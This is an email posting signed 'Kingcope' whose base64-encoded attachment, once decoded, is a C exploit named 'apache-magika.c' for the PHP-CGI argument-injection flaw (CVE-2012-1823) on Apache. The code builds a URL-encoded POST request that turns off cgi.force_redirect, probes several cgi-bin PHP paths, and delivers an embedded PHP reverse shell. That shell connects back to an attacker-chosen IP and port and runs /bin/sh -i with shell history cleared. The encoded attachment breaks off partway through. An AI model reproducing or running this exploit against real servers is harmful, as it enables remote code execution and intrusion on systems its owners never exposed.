Apache PHP Remote Exploit - apache-magika.c
--089e01634aa675c71b04e9e41b8e
Content-Type: text/plain; charset=ISO-8859-1
(see attachment)
Signed,
Kingcope
--089e01634aa675c71b04e9e41b8e
Content-Type: text/x-csrc; charset=US-ASCII; name="apache-magika.c"
Content-Disposition: attachment; filename="apache-magika.c"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_hnddmya60
LyogQXBhY2hlIE1hZ2ljYSBieSBLaW5nY29wZSAqLw0KLyogZ2NjIGFwYWNoZS1tYWdpa2EuYyAt
byBhcGFjaGUtbWFnaWthIC1sc3NsICovDQovKiBUaGlzIGlzIGEgY29kZSBleGVjdXRpb24gYnVn
IGluIHRoZSBjb21iaW5hdGlvbiBvZiBBcGFjaGUgYW5kIFBIUC4NCk9uIERlYmlhbiBhbmQgVWJ1
bnR1IHRoZSB2dWxuZXJhYmlsaXR5IGlzIHByZXNlbnQgaW4gdGhlIGRlZmF1bHQgaW5zdGFsbA0K
b2YgdGhlIHBocDUtY2dpIHBhY2thZ2UuIFdoZW4gdGhlIHBocDUtY2dpIHBhY2thZ2UgaXMgaW5z
dGFsbGVkIG9uIERlYmlhbiBhbmQNClVidW50dSBvciBwaHAtY2dpIGlzIGluc3RhbGxlZCBtYW51
YWxseSB0aGUgcGhwLWNnaSBiaW5hcnkgaXMgYWNjZXNzaWJsZSB1bmRlcg0KL2NnaS1iaW4vcGhw
NSBhbmQgL2NnaS1iaW4vcGhwLiBUaGUgdnVsbmVyYWJpbGl0eSBtYWtlcyBpdCBwb3NzaWJsZSB0
byBleGVjdXRlDQp0aGUgYmluYXJ5IGJlY2F1c2UgdGhpcyBiaW5hcnkgaGFzIGEgc2VjdXJpdHkg
Y2hlY2sgZW5hYmxlZCB3aGVuIGluc3RhbGxlZCB3aXRoDQpBcGFjaGUgaHR0cCBzZXJ2ZXIgYW5k
IHRoaXMgc2VjdXJpdHkgY2hlY2sgaXMgY2lyY3VtdmVudGVkIGJ5IHRoZSBleHBsb2l0Lg0KV2hl
biBhY2Nlc3NpbmcgdGhlIHBocC1jZ2kgYmluYXJ5IHRoZSBzZWN1cml0eSBjaGVjayB3aWxsIGJs
b2NrIHRoZSByZXF1ZXN0IGFuZA0Kd2lsbCBub3QgZXhlY3V0ZSB0aGUgYmluYXJ5Lg0KSW4gdGhl
IHNvdXJjZSBjb2RlIGZpbGUgc2FwaS9jZ2kvY2dpX21haW4uYyBvZiBQSFAgd2UgY2FuIHNlZSB0
aGF0IHRoZSBzZWN1cml0eQ0KY2hlY2sgaXMgZG9uZSB3aGVuIHRoZSBwaHAuaW5pIGNvbmZpZ3Vy
YXRpb24gc2V0dGluZyBjZ2kuZm9yY2VfcmVkaXJlY3QgaXMgc2V0DQphbmQgdGhlIHBocC5pbmkg
Y29uZmlndXJhdGlvbiBzZXR0aW5nIGNnaS5yZWRpcmVjdF9zdGF0dXNfZW52IGlzIHNldCB0byBu
by4NClRoaXMgbWFrZXMgaXQgcG9zc2libGUgdG8gZXhlY3V0ZSB0aGUgYmluYXJ5IGJ5cGFzc2lu
ZyB0aGUgU2VjdXJpdHkgY2hlY2sgYnkNCnNldHRpbmcgdGhlc2UgdHdvIHBocC5pbmkgc2V0dGlu
Z3MuDQpQcmlvciB0byB0aGlzIGNvZGUgZm9yIHRoZSBTZWN1cml0eSBjaGVjayBnZXRvcHQgaXMg
Y2FsbGVkIGFuZCBpdCBpcyBwb3NzaWJsZQ0KdG8gc2V0IGNnaS5mb3JjZV9yZWRpcmVjdCB0byB6
ZXJvIGFuZCBjZ2kucmVkaXJlY3Rfc3RhdHVzX2VudiB0byB6ZXJvIHVzaW5nIHRoZQ0KLWQgc3dp
dGNoLiBJZiBib3RoIHZhbHVlcyBhcmUgc2V0IHRvIHplcm8gYW5kIHRoZSByZXF1ZXN0IGlzIHNl
bnQgdG8gdGhlIHNlcnZlcg0KcGhwLWNnaSBnZXRzIGZ1bGx5IGV4ZWN1dGVkIGFuZCB3ZSBjYW4g
dXNlIHRoZSBwYXlsb2FkIGluIHRoZSBQT1NUIGRhdGEgZmllbGQNCnRvIGV4ZWN1dGUgYXJiaXRy
YXJ5IHBocCBhbmQgdGhlcmVmb3JlIHdlIGNhbiBleGVjdXRlIHByb2dyYW1zIG9uIHRoZSBzeXN0
ZW0uDQphcGFjaGUtbWFnaWthLmMgaXMgYW4gZXhwbG9pdCB0aGF0IGRvZXMgZXhhY3RseSB0aGUg
cHJpb3IgZGVzY3JpYmVkLiBJdCBkb2VzDQpzdXBwb3J0IFNTTC4NCi8qIEFmZmVjdGVkIGFuZCB0
ZXN0ZWQgdmVyc2lvbnMNClBIUCA1LjMuMTANClBIUCA1LjMuOC0xDQpQSFAgNS4zLjYtMTMNClBI
UCA1LjMuMw0KUEhQIDUuMi4xNw0KUEhQIDUuMi4xMQ0KUEhQIDUuMi42LTMNClBIUCA1LjIuNits
ZW5ueTE2IHdpdGggU3Vob3Npbi1QYXRjaA0KQWZmZWN0ZWQgdmVyc2lvbnMNClBIUCBwcmlvciB0
byA1LjMuMTINClBIUCBwcmlvciB0byA1LjQuMg0KVW5hZmZlY3RlZCB2ZXJzaW9ucw0KUEhQIDQg
LSBnZXRvcHQgcGFyc2VyIHVuZXhwbG9pdGFibGUNClBIUCA1LjMuMTIgYW5kIHVwDQpQSFAgNS40
LjIgYW5kIHVwDQpVbmFmZmVjdGVkIHZlcnNpb25zIGFyZSBwYXRjaGVkIGJ5IENWRS0yMDEyLTE4
MjMuDQoqLw0KLyogICAgLg0KICAgICAvJ1xycnEgcmsNCiAuICAvLyBcXCAgLg0KLnguLy9mY29c
XC18LQ0KICcvL2NtdGNvXFx6dA0KIC8vNm1lcXJnLlxcdHENCi8vX19fX19fX19fXFwnDQpFSlBH
UU8NCmFwYWNoZS1tYWdpY2EuYyBieSBLaW5nY29wZQ0KKi8NCg0KI2luY2x1ZGUgPHN0ZGlvLmg+
DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8Z2V0
b3B0Lmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3RkZGVmLmg+DQojaW5j
bHVkZSA8b3BlbnNzbC9yYW5kLmg+DQojaW5jbHVkZSA8b3BlbnNzbC9zc2wuaD4NCiNpbmNsdWRl
IDxvcGVuc3NsL2Vyci5oPg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tl
dC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCg0KdHlwZWRlZiBzdHJ1Y3Qgew0KCWludCBz
b2NrZmQ7DQoJU1NMICpoYW5kbGU7DQoJU1NMX0NUWCAqY3R4Ow0KfSBjb25uZWN0aW9uOw0KDQp2
b2lkIHVzYWdlKGNoYXIgKmFyZ3ZbXSkNCnsNCiAgcHJpbnRmKCJ1c2FnZTogJXMgPC0tdGFyZ2V0
IHRhcmdldD4gPC0tcG9ydCBwb3J0PiA8LS1wcm90b2NvbCBodHRwfGh0dHBzPiAiIFwNCiAgIjwt
LXJldmVyc2UtaXAgaXA+IDwtLXJldmVyc2UtcG9ydCBwb3J0PiBbLS1mb3JjZS1pbnRlcnByZXRl
ciBpbnRlcnByZXRlcl1cbiIsDQogICBhcmd2WzBdKTsNCiAgZXhpdCgxKTsNCn0NCg0KY2hhciBw
b3N0c3RyW10gPSAiUE9TVCAlcz8lJTJEJSU2NCslJTYxJSU2QyUlNkMlJTZGJSU3NyUlNUYiIFwN
CiAiJSU3NSUlNzIlJTZDJSU1RiUlNjklJTZFJSU2MyUlNkMlJTc1JSU2NCUlNjUlJTNEJSU2RiUl
NkUrJSUyRCUlNjQiIFwNCiAiKyUlNzMlJTYxJSU2NiUlNjUlJTVGJSU2RCUlNkYlJTY0JSU2NSUl
M0QlJTZGJSU2NiUlNjYrJSUyRCUlNjQrJSU3MyIgXA0KICIlJTc1JSU2OCUlNkYlJTczJSU2OSUl
NkUlJTJFJSU3MyUlNjklJTZEJSU3NSUlNkMlJTYxJSU3NCUlNjklJTZGJSU2RSIgXA0KICIlJTNE
JSU2RiUlNkUrJSUyRCUlNjQrJSU2NCUlNjklJTczJSU2MSUlNjIlJTZDJSU2NSUlNUYlJTY2JSU3
NSUlNkUlJTYzIiBcDQogIiUlNzQlJTY5JSU2RiUlNkUlJTczJSUzRCUlMjIlJTIyKyUlMkQlJTY0
KyUlNkYlJTcwJSU2NSUlNkUlJTVGJSU2MiIgXA0KICIlJTYxJSU3MyUlNjUlJTY0JSU2OSUlNzIl
JTNEJSU2RSUlNkYlJTZFJSU2NSslJTJEJSU2NCslJTYxJSU3NSUlNzQiIFwNCiAiJSU2RiUlNUYl
JTcwJSU3MiUlNjUlJTcwJSU2NSUlNkUlJTY0JSU1RiUlNjYlJTY5JSU2QyUlNjUlJTNEJSU3MCUl
NjgiIFwNCiAiJSU3MCUlM0ElJTJGJSUyRiUlNjklJTZFJSU3MCUlNzUlJTc0KyUlMkQlJTY0KyUl
NjMlJTY3JSU2OSUlMkUlJTY2JSU2RiIgXA0KICIlJTcyJSU2MyUlNjUlJTVGJSU3MiUlNjUlJTY0
JSU2OSUlNzIlJTY1JSU2MyUlNzQlJTNEJSUzMCslJTJEJSU2NCslJTYzIiBcDQogIiUlNjclJTY5
JSUyRSUlNzIlJTY1JSU2NCUlNjklJTcyJSU2NSUlNjMlJTc0JSU1RiUlNzMlJTc0JSU2MSUlNzQl
JTc1JSU3MyIgXA0KICIlJTVGJSU2NSUlNkUlJTc2JSUzRCUlMzArJSUyRCUlNkUgSFRUUC8xLjFc
clxuIiBcDQogIkhvc3Q6ICVzXHJcbiIgXA0KICJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoaVBh
ZDsgQ1BVIE9TIDZfMCBsaWtlIE1hYyBPUyBYKSBBcHBsZVdlYktpdC81MzYuMjYiIFwNCiAiKEtI
VE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzYuMCBNb2JpbGUvMTBBNTM1NWQgU2FmYXJpLzg1MzYu
MjVcclxuIiBcDQogIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNv
ZGVkXHJcbiIgXA0KICJDb250ZW50LUxlbmd0aDogJWRcclxuIiBcDQogIkNvbm5lY3Rpb246IGNs
b3NlXHJcblxyXG4lcyI7DQpjaGFyIHBocHN0cltdID0gIjw/cGhwXG4iIFwNCiJzZXRfdGltZV9s
aW1pdCgwKTtcbiIgXA0KIiRpcCA9ICclcyc7XG4iIFwNCiIkcG9ydCA9ICVkO1xuIiBcDQoiJGNo
dW5rX3NpemUgPSAxNDAwO1xuIiBcDQoiJHdyaXRlX2EgPSBudWxsO1xuIiBcDQoiJGVycm9yX2Eg
PSBudWxsO1xuIiBcDQoiJHNoZWxsID0gJ3Vuc2V0IEhJU1RGSUxFOyB1bnNldCBISVNUU0laRTsg
dW5hbWUgLWE7IHc7IGlkOyAvYmluL3NoIC1pJztcbiIgXA0KIiRkYWVtb24gPSAwO1xuIiBcDQoi
JGRlYnVnID0gMDtcbiIgXA0KImlmIChmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2ZvcmsnKSkge1xu
IiBcDQoiCSRwaWQgPSBwY250bF9mb3JrKCk7CVxuIiBcDQoiCWlmICgkcGlkID09IC0xKSB7XG4i
IFwNCiIJCXByaW50aXQoXCJFUlJPUjogQ2FuJ3QgZm9ya1wiKTtcbiIgXA0KIgkJZXhpdCgxKTtc
biIgXA0KIgl9XG4iIFwNCiIJaWYgKCRwaWQpIHtcbiIgXA0KIgkJZXhpdCgwKTtcbiIgXA0KIgl9
XG4iIFwNCiIJaWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSB7XG4iIFwNCiIJCXByaW50aXQoXCJF
cnJvcjogQ2FuJ3Qgc2V0c2lkKClcIik7XG4iIFwNCiIJCWV4aXQoMSk7XG4iIFwNCiIJfVxuIiBc
DQoiCSRkYWVtb24gPSAxO1xuIiBcDQoifSBlbHNlIHtcbiIgXA0KIglwcmludGl0KFwiV0FSTklO
RzogRmFpbGVkIHRvIGRhZW1vbmlzZS5cIik7XG4iIFwNCiJ9XG4iIFwNCiJjaGRpcihcIi9cIik7
XG4iIFwNCiJ1bWFzaygwKTtcbiIgXA0KIiRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRl
cnJubywgJGVycnN0ciwgMzApO1xuIiBcDQoiaWYgKCEkc29jaykge1xuIiBcDQoiCXByaW50aXQo
XCIkZXJyc3RyICgkZXJybm8pXCIpO1xuIiBcDQoiCWV4aXQoMSk7XG4iIFwNCiJ9XG4iIFwNCiIk
ZGVzY3JpcHRvcnNwZWMgPSBhcnJheShcbiIgXA0KIiAgIDAgPT4gYXJyYXkoXCJwaXBlXCIsIFwi
clwiKSxcbiIgXA0KIiAgIDEgPT4gYXJyYXkoXCJwaXBlXCIsIFwid1wiKSxcbiIgXA0KIiAgIDIg
PT4gYXJyYXkoXCJwaXBlXCIsIFwid1wiKVxuIiBcDQoiKTtcbiIgXA0KIiRwcm9jZXNzID0gcHJv
Y19vcGVuKCRzaGVsbCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpO1xuIiBcDQoiaWYgKCFpc19y
ZXNvdXJjZSgkcHJvY2VzcykpIHtcbiIgXA0KIglwcmludGl0KFwiRVJST1I6IENhbid0IHNwYXdu
IHNoZWxsXCIpO1xuIiBcDQoiCWV4aXQoMSk7XG4iIFwNCiJ9XG4iIFwNCiJzdHJlYW1fc2V0X2Js
b2NraW5nKCRwaXBlc1swXSwgMCk7XG4iIFwNCiJzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sx
XSwgMCk7XG4iIFwNCiJzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwgMCk7XG4iIFwNCiJz
dHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTtcbiIgXA0KIndoaWxlICgxKSB7XG4iIFwNCiIJ
aWYgKGZlb2YoJHNvY2spKSB7XG4iIFwNCiIJCXByaW50aXQoXCJFUlJPUjogU2hlbGwgY29ubmVj
dGlvbiB0ZXJtaW5hdGVkXCIpO1xuIiBcDQoiCQlicmVhaztcbiIgXA0KIgl9XG4iIFwNCiIJaWYg
KGZlb2YoJHBpcGVzWzFdKSkge1xuIiBcDQoiCQlwcmludGl0KFwiRVJST1I6IFNoZWxsIHByb2Nl
c3MgdGVybWluYXRlZFwiKTtcbiIgXA0KIgkJYnJlYWs7XG4iIFwNCiIJfVxuIiBcDQoiCSRyZWFk
X2EgPSBhcnJheSgkc29jaywgJHBpcGVzWzFdLCAkcGlwZXNbMl0pO1xuIiBcDQoiCSRudW1fY2hh
bmdlZF9zb2NrZXRzID0gc3RyZWFtX3NlbGVjdCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2Es
IG51bGwpO1xuIiBcDQoiCWlmIChpbl9hcnJheSgkc29jaywgJHJlYWRfYSkpIHtcbiIgXA0KIgkJ
aWYgKCRkZWJ1ZykgcHJpbnRpdChcIlNPQ0sgUkVBRFwiKTtcbiIgXA0KIgkJJGlucHV0ID0gZnJl
YWQoJHNvY2ssICRjaHVua19zaXplKTtcbiIgXA0KIgkJaWYgKCRkZWJ1ZykgcHJpbnRpdChcIlNP
Q0s6ICRpbnB1dFwiKTtcbiIgXA0KIgkJZndyaXRlKCRwaXBlc1swXSwgJGlucHV0KTtcbiIgXA0K
Igl9XG4iIFwNCiIJaWYgKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpIHtcbiIgXA0KIgkJ
aWYgKCRkZWJ1ZykgcHJpbnRpdChcIlNURE9VVCBSRUFEXCIpO1xuIiBcDQoiCQkkaW5wdXQgPSBm
cmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTtcbiIgXA0KIgkJaWYgKCRkZWJ1ZykgcHJpbnRp
dChcIlNURE9VVDogJGlucHV0XCIpO1xuIiBcDQoiCQlmd3JpdGUoJHNvY2ssICRpbnB1dCk7XG4i
IFwNCiIJfVxuIiBcDQoiCWlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7XG4iIFwN
CiIJCWlmICgkZGVidWcpIHByaW50aXQoXCJTVERFUlIgUkVBRFwiKTtcbiIgXA0KIgkJJGlucHV0
ID0gZnJlYWQoJHBpcGVzWzJdLCAkY2h1bmtfc2l6ZSk7XG4iIFwNCiIJCWlmICgkZGVidWcpIHBy
aW50aXQoXCJTVERFUlI6ICRpbnB1dFwiKTtcbiIgXA0KIgkJZndyaXRlKCRzb2NrLCAkaW5wdXQp
O1xuIiBcDQoiCX1cbiIgXA0KIn1cbiIgXA0KIlxuIiBcDQoiZmNsb3NlKCRzb2NrKTtcbiIgXA0K
ImZjbG9zZSgkcGlwZXNbMF0pO1xuIiBcDQoiZmNsb3NlKCRwaXBlc1sxXSk7XG4iIFwNCiJmY2xv
c2UoJHBpcGVzWzJdKTtcbiIgXA0KInByb2NfY2xvc2UoJHByb2Nlc3MpO1xuIiBcDQoiZnVuY3Rp
b24gcHJpbnRpdCAoJHN0cmluZykge1xuIiBcDQoiCWlmICghJGRhZW1vbikge1xuIiBcDQoiCQlw
cmludCBcIiRzdHJpbmdcblwiO1xuIiBcDQoiCX1cbiIgXA0KIn1cbiIgXA0KImV4aXQoMSk7XG4i
IFwNCiI/PiI7DQoNCnN0cnVjdCBzb2NrYWRkcl9pbiAqZ2V0aG9zdGJ5bmFtZV8oY2hhciAqaG9z
dG5hbWUsIHVuc2lnbmVkIHNob3J0IHBvcnQpDQp7DQogc3RydWN0IGhvc3RlbnQgKmhlOw0KIHN0
cnVjdCBzb2NrYWRkcl9pbiBzZXJ2ZXIsICpzZXJ2ZXJjb3B5Ow0KIA0KIGlmICgoaGU9Z2V0aG9z
dGJ5bmFtZShob3N0bmFtZSkpID09IE5VTEwpIHsNCiAgcHJpbnRmKCJIb3N0bmFtZSBjYW5ub3Qg
YmUgcmVzb2x2ZWRcbiIpOw0KICBleGl0KDI1NSk7DQogfQ0KIA0KIHNlcnZlcmNvcHkgPSBtYWxs
b2Moc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbikpOw0KIGlmICghc2VydmVyY29weSkgew0KCXBy
aW50ZigibWFsbG9jIGVycm9yICgxKVxuIik7DQoJZXhpdCgyNTUpOw0KIH0NCiBtZW1zZXQoJnNl
cnZlciwgJ1wwJywgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbikpOw0KIG1lbWNweSgmc2VydmVy
LnNpbl9hZGRyLCBoZS0+aF9hZGRyX2xpc3RbMF0sICBoZS0+aF9sZW5ndGgpOw0KIHNlcnZlci5z
aW5fZmFtaWx5ID0gQUZfSU5FVDsNCiBzZXJ2ZXIuc2luX3BvcnQgPSBodG9ucyhwb3J0KTsNCiBt
ZW1jcHkoc2VydmVyY29weSwgJnNlcnZlciwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbikpOw0K
IHJldHVybiBzZXJ2ZXJjb3B5Ow0KfQ0KDQpjaGFyICpzc2xyZWFkKGNvbm5lY3Rpb24gKmMpDQp7
DQogIGNoYXIgKnJjID0gTlVMTDsNCiAgaW50IHJlY2VpdmVkLCBjb3VudCA9IDAsIGNvdW50Mj0w
Ow0KICBjaGFyIGNoOw0KDQogIGZvcig7OykNCiAgew0KICAgaWYgKCFyYykNCiAgICByYyA9IGNh
bGxvYygxMDI0LCBzaXplb2YgKGNoYXIpICsgMSk7DQogICBlbHNlDQogICAgaWYgKGNvdW50MiAl
IDEwMjQgPT0gMCkgew0KICAgICByYyA9IHJlYWxsb2MocmMsIChjb3VudDIgKyAxKSAqIDEwMjQg
KiBzaXplb2YgKGNoYXIpICsgMSk7DQogICAgfQ0KICAgIHJlY2VpdmVkID0gU1NMX3JlYWQoYy0+
aGFuZGxlLCAmY2gsIDEpOw0KICAgIGlmIChyZWNlaXZlZCA9PSAxKSB7DQogICAgIHJjW2NvdW50
KytdID0gY2g7DQogICAgIGNvdW50MisrOw0KICAgICBpZiAoY291bnQyID4gMTAyNCo1KQ0KCSAg
YnJlYWs7DQogICAgfQ0KICAgIGVsc2UNCiAgICAgYnJlYWs7DQogICB9DQogIHJldHVybiByYzsN
Cn0NCg0KY2hhciAqcmVhZF8oaW50IHNvY2tmZCkNCnsNCiAgY2hhciAqcmMgPSBOVUxMOw0KICBp
bnQgcmVjZWl2ZWQsIGNvdW50ID0gMCwgY291bnQyPTA7DQogIGNoYXIgY2g7DQoNCiAgZm9yKDs7
KQ0KICB7DQogICBpZiAoIXJjKQ0KICAgIHJjID0gY2FsbG9jKDEwMjQsIHNpemVvZiAoY2hhcikg
KyAxKTsNCiAgIGVsc2UNCiAgICBpZiAoY291bnQyICUgMTAyNCA9PSAwKSB7DQogICAgIHJjID0g
cmVhbGxvYyhyYywgKGNvdW50MiArIDEpICogMTAyNCAqIHNpemVvZiAoY2hhcikgKyAxKTsNCiAg
ICB9DQogICAgcmVjZWl2ZWQgPSByZWFkKHNvY2tmZCwgJmNoLCAxKTsNCiAgICBpZiAocmVjZWl2
ZWQgPT0gMSkgew0KICAgICByY1tjb3VudCsrXSA9IGNoOw0KICAgICBjb3VudDIrKzsNCiAgICAg
aWYgKGNvdW50MiA+IDEwMjQqNSkNCgkgIGJyZWFrOw0KICAgIH0NCiAgICBlbHNlDQogICAgIGJy
ZWFrOw0KICAgfQ0KICByZXR1cm4gcmM7DQp9DQoNCnZvaWQgbWFpbihpbnQgYXJnYywgY2hhciAq
YXJndltdKQ0Kew0KICBjaGFyICp0YXJnZXQsICpwcm90b2NvbCwgKnRhcmdldGlwLCAqd3JpdGVz
dHIsICp0bXBzdHIsICpyZWFkYnVmPU5VTEwsDQogICAqaW50ZXJwcmV0ZXIsICpyZXZlcnNlaXAs
ICpyZXZlcnNlcG9ydHN0ciwgKmZvcmNlaW50ZXJwcmV0ZXI9TlVMTDsNCiAgY2hhciBodHRwc2Zs
YWc9MDsNCiAgdW5zaWduZWQgc2hvcnQgcG9ydD0wLCByZXZlcnNlcG9ydD0wOw0KICBzdHJ1Y3Qg
c29ja2FkZHJfaW4gKnNlcnZlcjsNCiAgaW50IHNvY2tmZDsNCiAgdW5zaWduZWQgaW50IHdyaXRl
c2l6ZSwgdG1wc2l6ZTsNCiAgdW5zaWduZWQgaW50IGk7DQogIGNvbm5lY3Rpb24gKnNzbGNvbm5l
Y3Rpb247DQogIHByaW50ZigiLT09IEFwYWNoZSBNYWdpa2EgYnkgS2luZ2NvcGUgPT0tXG4iKTsN
CiAgZm9yKDs7KQ0KICB7DQoJIGludCBjOw0KICAgICBpbnQgb3B0aW9uX2luZGV4PTA7DQogICAg
IHN0YXRpYyBzdHJ1Y3Qgb3B0aW9uIGxvbmdfb3B0aW9uc1tdID0gew0KCSAgIHsidGFyZ2V0Iiwg
cmVxdWlyZWRfYXJndW1lbnQsIDAsIDAgfSwNCgkgICB7InBvcnQiLCByZXF1aXJlZF9hcmd1bWVu
dCwgMCwgMCB9LA0KCSAgIHsicHJvdG9jb2wiLCByZXF1aXJlZF9hcmd1bWVudCwgMCwgMCB9LA0K
CSAgIHsicmV2ZXJzZS1pcCIsIHJlcXVpcmVkX2FyZ3VtZW50LCAwLCAwIH0sDQoJICAgeyJyZXZl
cnNlLXBvcnQiLCByZXF1aXJlZF9hcmd1bWVudCwgMCwgMCB9LA0KCSAgIHsiZm9yY2UtaW50ZXJw
cmV0ZXIiLCByZXF1aXJlZF9hcmd1bWVudCwgMCwgMCB9LAkgICANCgkgICB7MCwgMCwgMCwgMCB9
DQoJICB9Ow0KCSANCgkgYyA9IGdldG9wdF9sb25nKGFyZ2MsIGFyZ3YsICIiLCBsb25nX29wdGlv
bnMsICZvcHRpb25faW5kZXgpOw0KICAgICBpZiAoYyA8IDApDQogICAgIAlicmVhazsNCiAgICAg
DQogICAgIHN3aXRjaCAoYykgew0KCSBjYXNlIDA6DQoJICBzd2l0Y2ggKG9wdGlvbl9pbmRleCkg
ew0KCSAgIGNhc2UgMDoNCgkgICAgaWYgKG9wdGFyZykgew0KCSAgICAgdGFyZ2V0ID0gY2FsbG9j
KHN0cmxlbihvcHRhcmcpKzEsIHNpemVvZihjaGFyKSk7DQoJICAgICBpZiAoIXRhcmdldCkgew0K
CQkgIHByaW50ZigiY2FsbG9jIGVycm9yICgyKVxuIik7DQoJICAgICAgZXhpdCgyNTUpOw0KICAg
ICAgICAgfQ0KCSAgICAgbWVtY3B5KHRhcmdldCwgb3B0YXJnLCBzdHJsZW4ob3B0YXJnKSsxKTsN
CiAgICAJfQ0KICAgICAgICBicmVhazsNCiAgICAgICBjYXNlIDE6DQogICAgICAgIGlmKG9wdGFy
ZykNCgkgICAgIHBvcnQgPSBhdG9pKG9wdGFyZyk7DQogICAgICAgIGJyZWFrOw0KICAgICAgIGNh
c2UgMjoNCiAgICAgICAgcHJvdG9jb2wgPSBjYWxsb2Moc3RybGVuKG9wdGFyZykrMSwgc2l6ZW9m
KGNoYXIpKTsNCiAgICAgICAgaWYgKCFwcm90b2NvbCkgew0KCSAgICAgcHJpbnRmKCJjYWxsb2Mg
ZXJyb3IgKDMpXG4iKTsNCiAgICAgICAgIGV4aXQoMjU1KTsNCiAgICAgICAgfQ0KICAgICAgICBt
ZW1jcHkocHJvdG9jb2wsIG9wdGFyZywgc3RybGVuKG9wdGFyZykrMSk7DQogICAgICAgIGlmICgh
c3RyY21wKHByb3RvY29sLCAiaHR0cHMiKSkNCiAgICAgICAgIGh0dHBzZmxhZz0xOw0KICAgICAg
ICBicmVhazsNCiAgICAgICBjYXNlIDM6DQogICAgICAgIHJldmVyc2VpcCA9IGNhbGxvYyhzdHJs
ZW4ob3B0YXJnKSsxLCBzaXplb2YoY2hhcikpOw0KICAgICAgICBpZiAoIXJldmVyc2VpcCkgew0K
CSAgICAgcHJpbnRmKCJjYWxsb2MgZXJyb3IgKDQpXG4iKTsNCiAgICAgICAgIGV4aXQoMjU1KTsN
CiAgICAgICAgfQ0KICAgICAgICBtZW1jcHkocmV2ZXJzZWlwLCBvcHRhcmcsIHN0cmxlbihvcHRh
cmcpKzEpOyAgICAgICANCiAgICAgICAgYnJlYWs7DQogICAgICAgY2FzZSA0Og0KCSAgICByZXZl
cnNlcG9ydCA9IGF0b2kob3B0YXJnKTsgICAgICAgDQoJCXJldmVyc2Vwb3J0c3RyID0gY2FsbG9j
KHN0cmxlbihvcHRhcmcpKzEsIHNpemVvZihjaGFyKSk7DQogICAgICAgIGlmICghcmV2ZXJzZXBv
cnRzdHIpIHsNCgkgICAgIHByaW50ZigiY2FsbG9jIGVycm9yICg1KVxuIik7DQogICAgICAgICBl
eGl0KDI1NSk7DQogICAgICAgIH0NCiAgICAgICAgbWVtY3B5KHJldmVyc2Vwb3J0c3RyLCBvcHRh
cmcsIHN0cmxlbihvcHRhcmcpKzEpOyAgCSAgICAgDQogICAgICAgIGJyZWFrOw0KICAgICAgIGNh
c2UgNToNCiAgICAgICAgZm9yY2VpbnRlcnByZXRlciA9IGNhbGxvYyhzdHJsZW4ob3B0YXJnKSsx
LCBzaXplb2YoY2hhcikpOw0KICAgICAgICBpZiAoIWZvcmNlaW50ZXJwcmV0ZXIpIHsNCgkgICAg
IHByaW50ZigiY2FsbG9jIGVycm9yICg2KVxuIik7DQogICAgICAgICBleGl0KDI1NSk7DQogICAg
ICAgIH0NCiAgICAgICAgbWVtY3B5KGZvcmNlaW50ZXJwcmV0ZXIsIG9wdGFyZywgc3RybGVuKG9w
dGFyZykrMSk7ICAgICAgIA0KICAgICAgICBicmVhazsNCiAgICAgICBkZWZhdWx0Og0KICAgICAg
ICB1c2FnZShhcmd2KTsNCgkgIH0NCgkgIGJyZWFrOw0KCSANCgkgZGVmYXVsdDoNCgkgIHVzYWdl
KGFyZ3YpOw0KICAgICB9DQogIH0NCg0KICBpZiAoKG9wdGluZCA8IGFyZ2MpIHx8ICF0YXJnZXQg
fHwgIXByb3RvY29sIHx8ICFwb3J0IHx8DQogICAgICAhcmV2ZXJzZWlwIHx8ICFyZXZlcnNlcG9y
dCl7DQoJdXNhZ2UoYXJndik7DQogIH0NCiAgDQogIHNlcnZlciA9IGdldGhvc3RieW5hbWVfKHRh
cmdldCwgcG9ydCk7DQogIGlmICghc2VydmVyKSB7DQogICBwcmludGYoIkVycm9yIHdoaWxlIHJl
c29sdmluZyBob3N0bmFtZS4gKDcpXG4iKTsNCiAgIGV4aXQoMjU1KTsNCiAgfQ0KDQogIGNoYXIg
KmludGVycHJldGVyc1s1XTsNCiAgaW50IG5pbnRlcnByZXRlcnMgPSA1Ow0KICBpbnRlcnByZXRl
cnNbMF0gPSBzdHJkdXAoIi9jZ2ktYmluL3BocCIpOw0KICBpbnRlcnByZXRlcnNbMV0gPSBzdHJk
dXAoIi9jZ2ktYmluL3BocDUiKTsNCiAgaW50ZXJwcmV0ZXJzWzJdID0gc3RyZHVwKCIvY2dpLWJp
bi9waHAtY2dpIik7DQogIGludGVycHJldGVyc1szXSA9IHN0cmR1cCgiL2NnaS1iaW4vcGhwLmNn
aSIpOw0KICBpbnRlcnByZXRlcnNbNF0gPSBzdHJkdXAoIi9jZ2ktYmluL3BocDQiKTsNCiAgDQog
IGZvciAoaT0wO2k8bmludGVycHJldGVycztpKyspIHsNCiAgIGludGVycHJldGVyID0gaW50ZXJw
cmV0ZXJzW2ldOw0KICAgaWYgKGZvcmNlaW50ZXJwcmV0ZXIpIHsNCiAgICAgaW50ZXJwcmV0ZXIg
